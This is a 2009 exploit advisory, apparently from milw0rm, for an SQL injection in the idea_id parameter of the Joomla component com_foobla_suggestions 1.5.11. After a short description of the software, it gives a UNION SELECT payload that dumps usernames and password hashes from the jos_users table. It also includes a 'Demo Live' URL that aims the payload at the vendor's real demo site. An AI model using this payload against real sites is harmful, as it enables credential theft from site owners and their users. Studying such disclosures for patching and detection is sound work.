----------------------------------------------------------------------------------------- joomla component com_foobla_suggestions (idea_id) SQL Injection Vulnerability ----------------------------------------------------------------------------------------- Author : Chip D3 Bi0s Email : chipdebios[alt+64]gmail.com Date : 15 September 2009 Critical Lvl : Moderate Impact : Exposure of sensitive information Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : foobla Suggestions version : 1.5.11 Developer : foobla License : GPL type : Commercial Date Added : 15 September 2009 Demo : http://demo.foobla.com/foobla-suggestions-joomla/ Download : http://foobla.com/products/featured-joomla-extensions/foobla-suggestions-for-joomla.html Description : Have you ever used Uservoice? Would you like to have something similar on Joomla but with unlimited features and no monthly fee? The foobla Suggestions allows you to collect ideas, suggestions, and votes from your cutomers. --------------------------------------------------------------------------- I.SQL injection (idea_id) Poc/Exploit: ~~~~~~~~~ http://127.0.0.1/[path]/index.php?option=com_foobla_suggestions&controller=comment&idea_id=[Sqlinjection] [Sqlinjection]= null+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+jos_users Demo Live: ~~~~~~~ http://demo.foobla.com/foobla-suggestions-joomla/index.php?option=com_foobla_suggestions&controller=comment&idea_id=null+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+jos_users +++++++++++++++++++++++++++++++++++++++ #[!] Produced in South America +++++++++++++++++++++++++++++++++++++++ # milw0rm.com [2009-09-16]